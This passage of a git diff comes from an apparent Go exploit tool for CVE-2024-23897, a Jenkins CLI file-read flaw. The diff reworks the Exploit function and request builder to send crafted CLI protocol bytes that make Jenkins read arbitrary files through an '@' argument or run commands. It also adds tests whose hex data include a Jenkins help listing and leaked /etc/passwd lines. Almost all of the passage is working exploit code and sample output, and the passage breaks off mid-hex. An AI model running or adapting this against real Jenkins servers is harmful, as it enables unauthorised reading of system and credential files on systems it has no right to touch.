int(length)+3 > len(data) { + return nil, fmt.Errorf("invalid length: exceeds available data") + } + + datas = append(datas, data[3:3+length]...) + data = data[3+length:] + } + return datas, nil + } + parseData, err := f(data) + if err != nil { + return nil, err + } + + return parseData, nil } diff --git a/pkg/scanner/check_test.go b/pkg/scanner/check_test.go new file mode 100644 index 0000000..2ee3cc1 --- /dev/null +++ b/pkg/scanner/check_test.go @@ -0,0 +1,32 @@ +package scanner + +import ( + "encoding/hex" + "fmt" + "github.com/wjlin0/CVE-2024-23897/pkg/output" + "strings" + "testing" +) + +func TestExtractAvailableCommands(t *testing.T) { + helpFullText := "00 00 00 00 12 08 20 20 61 64 64 2D 6A 6F 62 2D 74 6F 2D 76 69 65 77 0A 00 00 00 17 08 20 20 20 20 41 64 64 73 20 6A 6F 62 73 20 74 6F 20 76 69 65 77 2E 0A 00 00 00 08 08 20 20 62 75 69 6C 64 0A 00 00 00 3D 08 20 20 20 20 42 75 69 6C 64 73 20 61 20 6A 6F 62 2C 20 61 6E 64 20 6F 70 74 69 6F 6E 61 6C 6C 79 20 77 61 69 74 73 20 75 6E 74 69 6C 20 69 74 73 20 63 6F 6D 70 6C 65 74 69 6F 6E 2E 0A 00 00 00 14 08 20 20 63 61 6E 63 65 6C 2D 71 75 69 65 74 2D 64 6F 77 6E 0A 00 00 00 33 08 20 20 20 20 43 61 6E 63 65 6C 20 74 68 65 20 65 66 66 65 63 74 20 6F 66 20 74 68 65 20 22 71 75 69 65 74 2D 64 6F 77 6E 22 20 63 6F 6D 6D 61 6E 64 2E 0A 00 00 00 0E 08 20 20 63 6C 65 61 72 2D 71 75 65 75 65 0A 00 00 00 1C 08 20 20 20 20 43 6C 65 61 72 73 20 74 68 65 20 62 75 69 6C 64 20 71 75 65 75 65 2E 0A 00 00 00 0F 08 20 20 63 6F 6E 6E 65 63 74 2D 6E 6F 64 65 0A 00 00 00 1B 08 20 20 20 20 52 65 63 6F 6E 6E 65 63 74 20 74 6F 20 61 20 6E 6F 64 65 28 73 29 0A 00 00 00 0A 08 20 20 63 6F 6E 73 6F 6C 65 0A 00 00 00 29 08 20 20 20 20 52 65 74 72 69 65 76 65 73 20 63 6F 6E 73 6F 6C 65 20 6F 75 74 70 75 74 20 6F 66 20 61 20 62 75 69 6C 64 2E 0A 00 00 00 0B 08 20 20 63 6F 70 79 2D 6A 6F 62 0A 00 00 00 12 08 20 20 20 20 43 6F 70 69 65 73 20 61 20 6A 6F 62 2E 0A 00 00 00 0D 08 20 20 63 72 65 61 74 65 2D 6A 6F 62 0A 00 00 00 44 08 20 20 20 20 43 72 65 61 74 65 73 20 61 20 6E 65 77 20 6A 6F 62 20 62 79 20 72 65 61 64 69 6E 67 20 73 74 64 69 6E 20 61 73 20 61 20 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 20 58 4D 4C 20 66 69 6C 65 2E 0A 00 00 00 0E 08 20 20 63 72 65 61 74 65 2D 6E 6F 64 65 0A 00 00 00 40 08 20 20 20 20 43 72 65 61 74 65 73 20 61 20 6E 65 77 20 6E 6F 64 65 20 62 79 20 72 65 61 64 69 6E 67 20 73 74 64 69 6E 20 61 73 20 61 20 58 4D 4C 20 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 2E 0A 00 00 00 0E 08 20 20 63 72 65 61 74 65 2D 76 69 65 77 0A 00 00 00 40 08 20 20 20 20 43 72 65 61 74 65 73 20 61 20 6E 65 77 20 76 69 65 77 20 62 79 20 72 65 61 64 69 6E 67 20 73 74 64 69 6E 20 61 73 20 61 20 58 4D 4C 20 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 2E 0A 00 00 00 10 08 20 20 64 65 6C 65 74 65 2D 62 75 69 6C 64 73 0A 00 00 00 1D 08 20 20 20 20 44 65 6C 65 74 65 73 20 62 75 69 6C 64 20 72 65 63 6F 72 64 28 73 29 2E 0A 00 00 00 0D 08 20 20 64 65 6C 65 74 65 2D 6A 6F 62 0A 00 00 00 14 08 20 20 20 20 44 65 6C 65 74 65 73 20 6A 6F 62 28 73 29 2E 0A 00 00 00 0E 08 20 20 64 65 6C 65 74 65 2D 6E 6F 64 65 0A 00 00 00 14 08 20 20 20 20 44 65 6C 65 74 65 73 20 6E 6F 64 65 28 73 29 0A 00 00 00 0E 08 20 20 64 65 6C 65 74 65 2D 76 69 65 77 0A 00 00 00 15 08 20 20 20 20 44 65 6C 65 74 65 73 20 76 69 65 77 28 73 29 2E 0A 00 00 00 0E 08 20 20 64 69 73 61 62 6C 65 2D 6A 6F 62 0A 00 00 00 14 08 20 20 20 20 44 69 73 61 62 6C 65 73 20 61 20 6A 6F 62 2E 0A 00 00 00 11 08 20 20 64 69 73 61 62 6C 65 2D 70 6C 75 67 69 6E 0A 00 00 00 2B 08 20 20 20 20 44 69 73 61 62 6C 65 20 6F 6E 65 20 6F 72 20 6D 6F 72 65 20 69 6E 73 74 61 6C 6C 65 64 20 70 6C 75 67 69 6E 73 2E 0A 00 00 00 12 08 20 20 64 69 73 63 6F 6E 6E 65 63 74 2D 6E 6F 64 65 0A 00 00 00 1D 08 20 20 20 20 44 69 73 63 6F 6E 6E 65 63 74 73 20 66 72 6F 6D 20 61 20 6E 6F 64 65 2E 0A 00 00 00 0D 08 20 20 65 6E 61 62 6C 65 2D 6A 6F 62 0A 00 00 00 13 08 20 20 20 20 45 6E 61 62 6C 65 73 20 61 20 6A 6F 62 2E 0A 00 00 00 10 08 20 20 65 6E 61 62 6C 65 2D 70 6C 75 67 69 6E 0A 00 00 00 38 08 20 20 20 20 45 6E 61 62 6C 65 73 20 6F 6E 65 20 6F 72 20 6D 6F 72 65 20 69 6E 73 74 61 6C 6C 65 64 20 70 6C 75 67 69 6E 73 20 74 72 61 6E 73 69 74 69 76 65 6C 79 2E 0A 00 00 00 0A 08 20 20 67 65 74 2D 6A 6F 62 0A 00 00 00 2C 08 20 20 20 20 44 75 6D 70 73 20 74 68 65 20 6A 6F 62 20 64 65 66 69 6E 69 74 69 6F 6E 20 58 4D 4C 20 74 6F 20 73 74 64 6F 75 74 2E 0A 00 00 00 0B 08 20 20 67 65 74 2D 6E 6F 64 65 0A 00 00 00 2D 08 20 20 20 20 44 75 6D 70 73 20 74 68 65 20 6E 6F 64 65 20 64 65 66 69 6E 69 74 69 6F 6E 20 58 4D 4C 20 74 6F 20 73 74 64 6F 75 74 2E 0A 00 00 00 0B 08 20 20 67 65 74 2D 76 69 65 77 0A 00 00 00 2D 08 20 20 20 20 44 75 6D 70 73 20 74 68 65 20 76 69 65 77 20 64 65 66 69 6E 69 74 69 6F 6E 20 58 4D 4C 20 74 6F 20 73 74 64 6F 75 74 2E 0A 00 00 00 09 08 20 20 67 72 6F 6F 76 79 0A 00 00 00 2B 08 20 20 20 20 45 78 65 63 75 74 65 73 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 47 72 6F 6F 76 79 20 73 63 72 69 70 74 2E 20 0A 00 00 00 0B 08 20 20 67 72 6F 6F 76 79 73 68 0A 00 00 00 26 08 20 20 20 20 52 75 6E 73 20 61 6E 20 69 6E 74 65 72 61 63 74 69 76 65 20 67 72 6F 6F 76 79 20 73 68 65 6C 6C 2E 0A 00 00 00 07 08 20 20 68 65 6C 70 0A 00 00 00 52 08 20 20 20 20 4C 69 73 74 73 20 61 6C 6C 20 74 68 65 20 61 76 61 69 6C 61 62 6C 65 20 63 6F 6D 6D 61 6E 64 73 20 6F 72 20 61 20 64 65 74 61 69 6C 65 64 20 64 65 73 63 72 69 70 74 69 6F 6E 20 6F 66 20 73 69 6E 67 6C 65 20 63 6F 6D 6D 61 6E 64 2E 0A 00 00 00 11 08 20 20 69 6E 73 74 61 6C 6C 2D 70 6C 75 67 69 6E 0A 00 00 00 4A 08 20 20 20 20 49 6E 73 74 61 6C 6C 73 20 61 20 70 6C 75 67 69 6E 20 65 69 74 68 65 72 20 66 72 6F 6D 20 61 20 66 69 6C 65 2C 20 61 6E 20 55 52 4C 2C 20 6F 72 20 66 72 6F 6D 20 75 70 64 61 74 65 20 63 65 6E 74 65 72 2E 20 0A 00 00 00 0D 08 20 20 6B 65 65 70 2D 62 75 69 6C 64 0A 00 00 00 2E 08 20 20 20 20 4D 61 72 6B 20 74 68 65 20 62 75 69 6C 64 20 74 6F 20 6B 65 65 70 20 74 68 65 20 62 75 69 6C 64 20 66 6F 72 65 76 65 72 2E 0A 00 00 00 0F 08 20 20 6C 69 73 74 2D 63 68 61 6E 67 65 73 0A 00 00 00 34 08 20 20 20 20 44 75 6D 70 73 20 74 68 65 20 63 68 61 6E 67 65 6C 6F 67 20 66 6F 72 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 62 75 69 6C 64 28 73 29 2E 0A 00 00 00 0C 08 20 20 6C 69 73 74 2D 6A 6F 62 73 0A 00 00 00 35 08 20 20 20 20 4C 69 73 74 73 20 61 6C 6C 20 6A 6F 62 73 20 69 6E 20 61 20 73 70 65 63 69 66 69 63 20 76 69 65 77 20 6F 72 20 69 74 65 6D 20 67 72 6F 75 70 2E 0A 00 00 00 0F 08 20 20 6C 69 73 74 2D 70 6C 75 67 69 6E 73 0A 00 00 00 29 08 20 20 20 20 4F 75 74 70 75 74 73 20 61 20 6C 69 73 74 20 6F 66 20 69 6E 73 74 61 6C 6C 65 64 20 70 6C 75 67 69 6E 73 2E 0A 00 00 00 0F 08 20 20 6F 66 66 6C 69 6E 65 2D 6E 6F 64 65 0A 00 00 00 5F 08 20 20 20 20 53 74 6F 70 20 75 73 69 6E 67 20 61 20 6E 6F 64 65 20 66 6F 72 20 70 65 72 66 6F 72 6D 69 6E 67 20 62 75 69 6C 64 73 20 74 65 6D 70 6F 72 61 72 69 6C 79 2C 20 75 6E 74 69 6C 20 74 68 65 20 6E 65 78 74 20 22 6F 6E 6C 69 6E 65 2D 6E 6F 64 65 22 20 63 6F 6D 6D 61 6E 64 2E 0A 00 00 00 0E 08 20 20 6F 6E 6C 69 6E 65 2D 6E 6F 64 65 0A 00 00 00 61 08 20 20 20 20 52 65 73 75 6D 65 20 75 73 69 6E 67 20 61 20 6E 6F 64 65 20 66 6F 72 20 70 65 72 66 6F 72 6D 69 6E 67 20 62 75 69 6C 64 73 2C 20 74 6F 20 63 61 6E 63 65 6C 20 6F 75 74 20 74 68 65 20 65 61 72 6C 69 65 72 20 22 6F 66 66 6C 69 6E 65 2D 6E 6F 64 65 22 20 63 6F 6D 6D 61 6E 64 2E 0A 00 00 00 0D 08 20 20 71 75 69 65 74 2D 64 6F 77 6E 0A 00 00 00 4F 08 20 20 20 20 51 75 69 65 74 20 64 6F 77 6E 20 4A 65 6E 6B 69 6E 73 2C 20 69 6E 20 70 72 65 70 61 72 61 74 69 6F 6E 20 66 6F 72 20 61 20 72 65 73 74 61 72 74 2E 20 44 6F 6E A1 AF 74 20 73 74 61 72 74 20 61 6E 79 20 62 75 69 6C 64 73 2E 0A 00 00 00 17 08 20 20 72 65 6C 6F 61 64 2D 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 0A 00 00 00 8A 08 20 20 20 20 44 69 73 63 61 72 64 20 61 6C 6C 20 74 68 65 20 6C 6F 61 64 65 64 20 64 61 74 61 20 69 6E 20 6D 65 6D 6F 72 79 20 61 6E 64 20 72 65 6C 6F 61 64 20 65 76 65 72 79 74 68 69 6E 67 20 66 72 6F 6D 20 66 69 6C 65 20 73 79 73 74 65 6D 2E 20 55 73 65 66 75 6C 20 77 68 65 6E 20 79 6F 75 20 6D 6F 64 69 66 69 65 64 20 63 6F 6E 66 69 67 20 66 69 6C 65 73 20 64 69 72 65 63 74 6C 79 20 6F 6E 20 64 69 73 6B 2E 0A 00 00 00 0D 08 20 20 72 65 6C 6F 61 64 2D 6A 6F 62 0A 00 00 00 12 08 20 20 20 20 52 65 6C 6F 61 64 20 6A 6F 62 28 73 29 0A 00 00 00 17 08 20 20 72 65 6D 6F 76 65 2D 6A 6F 62 2D 66 72 6F 6D 2D 76 69 65 77 0A 00 00 00 1C 08 20 20 20 20 52 65 6D 6F 76 65 73 20 6A 6F 62 73 20 66 72 6F 6D 20 76 69 65 77 2E 0A 00 00 00 0A 08 20 20 72 65 73 74 61 72 74 0A 00 00 00 15 08 20 20 20 20 52 65 73 74 61 72 74 20 4A 65 6E 6B 69 6E 73 2E 0A 00 00 00 0F 08 20 20 73 61 66 65 2D 72 65 73 74 61 72 74 0A 00 00 00 33 08 20 20 20 20 53 61 66 65 20 52 65 73 74 61 72 74 20 4A 65 6E 6B 69 6E 73 2E 20 44 6F 6E A1 AF 74 20 73 74 61 72 74 20 61 6E 79 20 62 75 69 6C 64 73 2E 0A 00 00 00 10 08 20 20 73 61 66 65 2D 73 68 75 74 64 6F 77 6E 0A 00 00 00 6C 08 20 20 20 20 50 75 74 73 20 4A 65 6E 6B 69 6E 73 20 69 6E 74 6F 20 74 68 65 20 71 75 69 65 74 20 6D 6F 64 65 2C 20 77 61 69 74 20 66 6F 72 20 65 78 69 73 74 69 6E 67 20 62 75 69 6C 64 73 20 74 6F 20 62 65 20 63 6F 6D 70 6C 65 74 65 64 2C 20 61 6E 64 20 74 68 65 6E 20 73 68 75 74 20 64 6F 77 6E 20 4A 65 6E 6B 69 6E 73 2E 0A 00 00 00 0D 08 20 20 73 65 73 73 69 6F 6E 2D 69 64 0A 00 00 00 47 08 20 20 20 20 4F 75 74 70 75 74 73 20 74 68 65 20 73 65 73 73 69 6F 6E 20 49 44 2C 20 77 68 69 63 68 20 63 68 61 6E 67 65 73 20 65 76 65 72 79 20 74 69 6D 65 20 4A 65 6E 6B 69 6E 73 20 72 65 73 74 61 72 74 73 2E 0A 00 00 00 18 08 20 20 73 65 74 2D 62 75 69 6C 64 2D 64 65 73 63 72 69 70 74 69 6F 6E 0A 00 00 00 25 08 20 20 20 20 53 65 74 73 20 74 68 65 20 64 65 73 63 72 69 70 74 69 6F 6E 20 6F 66 20 61 20 62 75 69 6C 64 2E 0A 00 00 00 19 08 20 20 73 65 74 2D 62 75 69 6C 64 2D 64 69 73 70 6C 61 79 2D 6E 61 6D 65 0A 00 00 00 25 08 20 20 20 20 53 65 74 73 20 74 68 65 20 64 69 73 70 6C 61 79 4E 61 6D 65 20 6F 66 20 61 20 62 75 69 6C 64 2E 0A 00 00 00 0B 08 20 20 73 68 75 74 64 6F 77 6E 0A 00 00 00 2B 08 20 20 20 20 49 6D 6D 65 64 69 61 74 65 6C 79 20 73 68 75 74 73 20 64 6F 77 6E 20 4A 65 6E 6B 69 6E 73 20 73 65 72 76 65 72 2E 0A 00 00 00 0E 08 20 20 73 74 6F 70 2D 62 75 69 6C 64 73 0A 00 00 00 27 08 20 20 20 20 53 74 6F 70 20 61 6C 6C 20 72 75 6E 6E 69 6E 67 20 62 75 69 6C 64 73 20 66 6F 72 20 6A 6F 62 28 73 29 0A 00 00 00 0D 08 20 20 75 70 64 61 74 65 2D 6A 6F 62 0A 00 00 00 54 08 20 20 20 20 55 70 64 61 74 65 73 20 74 68 65 20 6A 6F 62 20 64 65 66 69 6E 69 74 69 6F 6E 20 58 4D 4C 20 66 72 6F 6D 20 73 74 64 69 6E 2E 20 54 68 65 20 6F 70 70 6F 73 69 74 65 20 6F 66 20 74 68 65 20 67 65 74 2D 6A 6F 62 20 63 6F 6D 6D 61 6E 64 2E 0A 00 00 00 0E 08 20 20 75 70 64 61 74 65 2D 6E 6F 64 65 0A 00 00 00 56 08 20 20 20 20 55 70 64 61 74 65 73 20 74 68 65 20 6E 6F 64 65 20 64 65 66 69 6E 69 74 69 6F 6E 20 58 4D 4C 20 66 72 6F 6D 20 73 74 64 69 6E 2E 20 54 68 65 20 6F 70 70 6F 73 69 74 65 20 6F 66 20 74 68 65 20 67 65 74 2D 6E 6F 64 65 20 63 6F 6D 6D 61 6E 64 2E 0A 00 00 00 0E 08 20 20 75 70 64 61 74 65 2D 76 69 65 77 0A 00 00 00 56 08 20 20 20 20 55 70 64 61 74 65 73 20 74 68 65 20 76 69 65 77 20 64 65 66 69 6E 69 74 69 6F 6E 20 58 4D 4C 20 66 72 6F 6D 20 73 74 64 69 6E 2E 20 54 68 65 20 6F 70 70 6F 73 69 74 65 20 6F 66 20 74 68 65 20 67 65 74 2D 76 69 65 77 20 63 6F 6D 6D 61 6E 64 2E 0A 00 00 00 0A 08 20 20 76 65 72 73 69 6F 6E 0A 00 00 00 21 08 20 20 20 20 4F 75 74 70 75 74 73 20 74 68 65 20 63 75 72 72 65 6E 74 20 76 65 72 73 69 6F 6E 2E 0A 00 00 00 14 08 20 20 77 61 69 74 2D 6E 6F 64 65 2D 6F 66 66 6C 69 6E 65 0A 00 00 00 27 08 20 20 20 20 57 61 69 74 20 66 6F 72 20 61 20 6E 6F 64 65 20 74 6F 20 62 65 63 6F 6D 65 20 6F 66 66 6C 69 6E 65 2E 0A 00 00 00 13 08 20 20 77 61 69 74 2D 6E 6F 64 65 2D 6F 6E 6C 69 6E 65 0A 00 00 00 26 08 20 20 20 20 57 61 69 74 20 66 6F 72 20 61 20 6E 6F 64 65 20 74 6F 20 62 65 63 6F 6D 65 20 6F 6E 6C 69 6E 65 2E 0A 00 00 00 0B 08 20 20 77 68 6F 2D 61 6D 2D 69 0A 00 00 00 2D 08 20 20 20 20 52 65 70 6F 72 74 73 20 79 6F 75 72 20 63 72 65 64 65 6E 74 69 61 6C 20 61 6E 64 20 70 65 72 6D 69 73 73 69 6F 6E 73 2E 0A 00 00 00 04 04 00 00 00 00" + // 转换16进制 + helpFullText = strings.ReplaceAll(helpFullText, " ", "") // 移除空格 + bytes, err := hex.DecodeString(helpFullText) + if err != nil { + t.Error(err) + return + } + + data, err := parseResponseData(output.ModeExec, "help", bytes[1:len(bytes)-1]) + if err != nil { + t.Error(err) + return + } + commands := extractAvailableCommands(string(data)) + if len(commands) == 0 { + t.Error("extractAvailableCommands error") + return + } + fmt.Println(commands) +} diff --git a/pkg/scanner/exploit.go b/pkg/scanner/exploit.go index 8f8103e..04d0f1a 100644 --- a/pkg/scanner/exploit.go +++ b/pkg/scanner/exploit.go @@ -2,30 +2,29 @@ package scanner import ( "bytes" - "encoding/binary" "fmt" "github.com/google/uuid" "github.com/projectdiscovery/retryablehttp-go" - stringsutil "github.com/projectdiscovery/utils/strings" "github.com/wjlin0/CVE-2024-23897/pkg/input" "github.com/wjlin0/CVE-2024-23897/pkg/output" "io" - "regexp" + "strings" "sync" "time" ) var u, _ = uuid.NewRandom() -func (s *Scanner) Exploit(target *input.Target, filename string, command string, need bool) (result *output.ResultEvent) { +func (s *Scanner) Exploit(target *input.Target, Mode output.Mode, args string, command string) (result *output.ResultEvent) { uid := u.String() urlpath := fmt.Sprintf("%s/cli?remoting=false", target.ToString()) var wg sync.WaitGroup wg.Add(2) + go func() { defer wg.Done() time.Sleep(1000 * time.Millisecond) // 确保 download 请求先于 upload 请求 - request, _ := retryablehttp.NewRequest("POST", urlpath, bytes.NewBuffer(parseRequestData(command, filename, need))) + request, _ := retryablehttp.NewRequest("POST", urlpath, bytes.NewBuffer(parseRequestData(Mode, command, args))) request.Header.Add("Session", uid) request.Header.Add("Side", "upload") _, _ = s.Do(request) @@ -48,36 +47,19 @@ func (s *Scanner) Exploit(target *input.Target, filename string, command string, if len(body) > 7 && bytes.HasPrefix(body[1:len(body)-1], []byte{0x00, 0x00}) && bytes.HasSuffix(body[1:len(body)-1], []byte{0x00, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00}) { result = &output.ResultEvent{ - Port: target.Port, - Host: target.Host, - URL: target.ToString(), + Port: target.Port, + Host: target.Host, + URL: target.ToString(), + Command: command, + Args: args, + Mode: Mode, } - data, err := parseResponseData(body[1 : len(body)-1]) + data, err := parseResponseData(Mode, command, body[1:len(body)-1]) if err != nil { return } - switch command { - case "who-am-i": - if !stringsutil.ContainsAny(string(data), "java -jar jenkins-cli.jar who-am-i") { - return - } - - rg := whoamiCommandRegexData.FindStringSubmatch(string(data)) - if len(rg) > 1 { - data = []byte(rg[1]) - } - case "help": - if !stringsutil.ContainsAny(string(data), "java -jar jenkins-cli.jar help") { - return - } - rg := helpCommandRegexData.FindStringSubmatch(string(data)) - if len(rg) > 1 { - data = []byte(rg[1]) - } - } result.Response = string(data) - result.Filename = filename } }() @@ -87,40 +69,38 @@ func (s *Scanner) Exploit(target *input.Target, filename string, command string, return } -var whoamiCommandRegexData = regexp.MustCompile(`ERROR: (?:No argument is allowed: )? ?((?:No such file: )?.*)\njava -jar jenkins-cli.jar who-am-i`) -var helpCommandRegexData = regexp.MustCompile(`ERROR: (?:Too many arguments: )?((?:No such file: )?.*)\njava -jar jenkins-cli.jar help`) - -func parseResponseData(data []byte) ([]byte, error) { - var datas []byte - if len(data) < 7 { - return nil, fmt.Errorf("invalid length: %d", len(data)) - } - for len(data) >= 7 { - if string(data[:7]) == "\x00\x00\x00\x04\x04\x00\x00" { - break - } - - data = data[2:] - lengthBytes := data[:2] - - // 将 lengthBytes 转换为 10 进制 - length := binary.BigEndian.Uint16(lengthBytes) - if int(length)+3 > len(data) { - return nil, fmt.Errorf("invalid length: exceeds available data") - } - - datas = append(datas, data[3:3+length]...) - data = data[3+length:] - } - return datas, nil -} - -func parseRequestData(command string, filename string, need bool) []byte { +//func parseResponseData(data []byte) ([]byte, error) { +// var datas []byte +// if len(data) < 7 { +// return nil, fmt.Errorf("invalid length: %d", len(data)) +// } +// for len(data) >= 7 { +// if string(data[:7]) == "\x00\x00\x00\x04\x04\x00\x00" { +// break +// } +// +// data = data[2:] +// lengthBytes := data[:2] +// +// // 将 lengthBytes 转换为 10 进制 +// length := binary.BigEndian.Uint16(lengthBytes) +// if int(length)+3 > len(data) { +// return nil, fmt.Errorf("invalid length: exceeds available data") +// } +// +// datas = append(datas, data[3:3+length]...) +// data = data[3+length:] +// } +// return datas, nil +//} + +func parseRequestData(Mode output.Mode, command string, args string) []byte { //dataBytes := []byte{ // 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x04, 0x68, 0x65, 0x6c, 0x70, //} dataBytes := []byte{} + commandBytes := []byte{0x00, 0x00} commandLength := len(command) commandBytes = append(commandBytes, []byte{byte((commandLength + 2) >> 8), byte((commandLength + 2) & 0xff)}...) @@ -128,27 +108,63 @@ func parseRequestData(command string, filename string, need bool) []byte { commandBytes = append(commandBytes, []byte{byte(commandLength >> 8), byte(commandLength & 0xff)}...) commandBytes = append(commandBytes, []byte(command)...) - fileBytes := []byte{} - if command == "help" && need { - fileBytes = append(fileBytes, 0x00, 0x00) - filenameLength := len("1") - fileBytes = append(fileBytes, []byte{byte((filenameLength + 2) >> 8), byte((filenameLength + 2) & 0xff)}...) - fileBytes = append(fileBytes, 0x00) - fileBytes = append(fileBytes, []byte{byte(filenameLength >> 8), byte(filenameLength & 0xff)}...) - fileBytes = append(fileBytes, []byte("1")...) + argsBytes := []byte{} + if command == "help" && Mode == output.ModeReadFile { + argsBytes = append(argsBytes, 0x00, 0x00) + argsLength := len("1") + argsBytes = append(argsBytes, []byte{byte((argsLength + 2) >> 8), byte((argsLength + 2) & 0xff)}...) + argsBytes = append(argsBytes, 0x00) + argsBytes = append(argsBytes, []byte{byte(argsLength >> 8), byte(argsLength & 0xff)}...) + argsBytes = append(argsBytes, []byte("1")...) } - if filename != "" { - fileBytes = append(fileBytes, 0x00, 0x00) - filename = fmt.Sprintf("@%s", filename) - filenameLength := len(filename) - fileBytes = append(fileBytes, []byte{byte((filenameLength + 2) >> 8), byte((filenameLength + 2) & 0xff)}...) - fileBytes = append(fileBytes, 0x00) - fileBytes = append(fileBytes, []byte{byte(filenameLength >> 8), byte(filenameLength & 0xff)}...) - fileBytes = append(fileBytes, []byte(filename)...) + if args != "" { + if Mode == output.ModeExec { + argss := strings.Split(args, " ") + for _, arg := range argss { + argsBytes = append(argsBytes, 0x00, 0x00) + argsLength := len(arg) + argsBytes = append(argsBytes, []byte{byte((argsLength + 2) >> 8), byte((argsLength + 2) & 0xff)}...) + argsBytes = append(argsBytes, 0x00) + argsBytes = append(argsBytes, []byte{byte(argsLength >> 8), byte(argsLength & 0xff)}...) + argsBytes = append(argsBytes, []byte(arg)...) + } + } else { + argsBytes = append(argsBytes, 0x00, 0x00) + if Mode == output.ModeReadFile && !strings.HasPrefix(args, "@") { + args = fmt.Sprintf("@%s", args) + } + argsLength := len(args) + argsBytes = append(argsBytes, []byte{byte((argsLength + 2) >> 8), byte((argsLength + 2) & 0xff)}...) + argsBytes = append(argsBytes, 0x00) + argsBytes = append(argsBytes, []byte{byte(argsLength >> 8), byte(argsLength & 0xff)}...) + argsBytes = append(argsBytes, []byte(args)...) + } + } + encodeStr := "UTF-8" + encodeBytes := []byte{} + encodeBytes = append(encodeBytes, 0x00, 0x00) + encodeLength := len(encodeStr) + encodeBytes = append(encodeBytes, []byte{byte((encodeLength + 2) >> 8), byte((encodeLength + 2) & 0xff)}...) + encodeBytes = append(encodeBytes, 0x01) // 编码为 01 + encodeBytes = append(encodeBytes, []byte{byte(encodeLength >> 8), byte(encodeLength & 0xff)}...) + encodeBytes = append(encodeBytes, []byte(encodeStr)...) + + encodeStr2 := "en_US" + encodeBytes2 := []byte{} + encodeBytes2 = append(encodeBytes2, 0x00, 0x00) + encodeLength2 := len(encodeStr2) + encodeBytes2 = append(encodeBytes2, []byte{byte((encodeLength2 + 2) >> 8), byte((encodeLength2 + 2) & 0xff)}...) + encodeBytes2 = append(encodeBytes2, 0x01) // 01 + encodeBytes2 = append(encodeBytes2, []byte{byte(encodeLength2 >> 8), byte(encodeLength2 & 0xff)}...) + encodeBytes2 = append(encodeBytes2, []byte(encodeStr2)...) + dataBytes = append(dataBytes, commandBytes...) - dataBytes = append(dataBytes, fileBytes...) - dataBytes = append(dataBytes, 0x00, 0x00, 0x00, 0x05, 0x02, 0x00, 0x03, 0x47, 0x42, 0x4b, 0x00, 0x00, 0x00, 0x07, 0x01, 0x00, 0x05, 0x7a, 0x68, 0x5f, 0x43, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x03) + dataBytes = append(dataBytes, argsBytes...) + dataBytes = append(dataBytes, encodeBytes...) + //dataBytes = append(dataBytes, encodeBytes2...) + dataBytes = append(dataBytes, 0x00, 0x00, 0x00, 0x00, 0x03) + //dataBytes = append(dataBytes, 0x00, 0x00, 0x00, 0x05, 0x02, 0x00, 0x03, 0x47, 0x42, 0x4b, 0x00, 0x00, 0x00, 0x07, 0x01, 0x00, 0x05, 0x7a, 0x68, 0x5f, 0x43, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x03) return dataBytes } diff --git a/pkg/scanner/exploit_test.go b/pkg/scanner/exploit_test.go new file mode 100644 index 0000000..cb88bbd --- /dev/null +++ b/pkg/scanner/exploit_test.go @@ -0,0 +1,27 @@ +package scanner + +import ( + "encoding/hex" + "fmt" + "github.com/wjlin0/CVE-2024-23897/pkg/output" + "strings" + "testing" +) + +func TestParseResponseData(t *testing.T) { + helpFullText := "00 00 00 00 86 08 77 77 77 2D 64 61 74 61 3A 78 3A 33 33 3A 33 33 3A 77 77 77 2D 64 61 74 61 3A 2F 76 61 72 2F 77 77 77 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 77 77 77 2D 64 61 74 61 3A 78 3A 33 33 3A 33 33 3A 77 77 77 2D 64 61 74 61 3A 2F 76 61 72 2F 77 77 77 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 5C 08 72 6F 6F 74 3A 78 3A 30 3A 30 3A 72 6F 6F 74 3A 2F 72 6F 6F 74 3A 2F 62 69 6E 2F 62 61 73 68 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 72 6F 6F 74 3A 78 3A 30 3A 30 3A 72 6F 6F 74 3A 2F 72 6F 6F 74 3A 2F 62 69 6E 2F 62 61 73 68 E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 74 08 6D 61 69 6C 3A 78 3A 38 3A 38 3A 6D 61 69 6C 3A 2F 76 61 72 2F 6D 61 69 6C 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 6D 61 69 6C 3A 78 3A 38 3A 38 3A 6D 61 69 6C 3A 2F 76 61 72 2F 6D 61 69 6C 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 86 08 62 61 63 6B 75 70 3A 78 3A 33 34 3A 33 34 3A 62 61 63 6B 75 70 3A 2F 76 61 72 2F 62 61 63 6B 75 70 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 62 61 63 6B 75 70 3A 78 3A 33 34 3A 33 34 3A 62 61 63 6B 75 70 3A 2F 76 61 72 2F 62 61 63 6B 75 70 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 7E 08 5F 61 70 74 3A 78 3A 31 30 30 3A 36 35 35 33 34 3A 3A 2F 6E 6F 6E 65 78 69 73 74 65 6E 74 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 5F 61 70 74 3A 78 3A 31 30 30 3A 36 35 35 33 34 3A 3A 2F 6E 6F 6E 65 78 69 73 74 65 6E 74 3A 2F 75 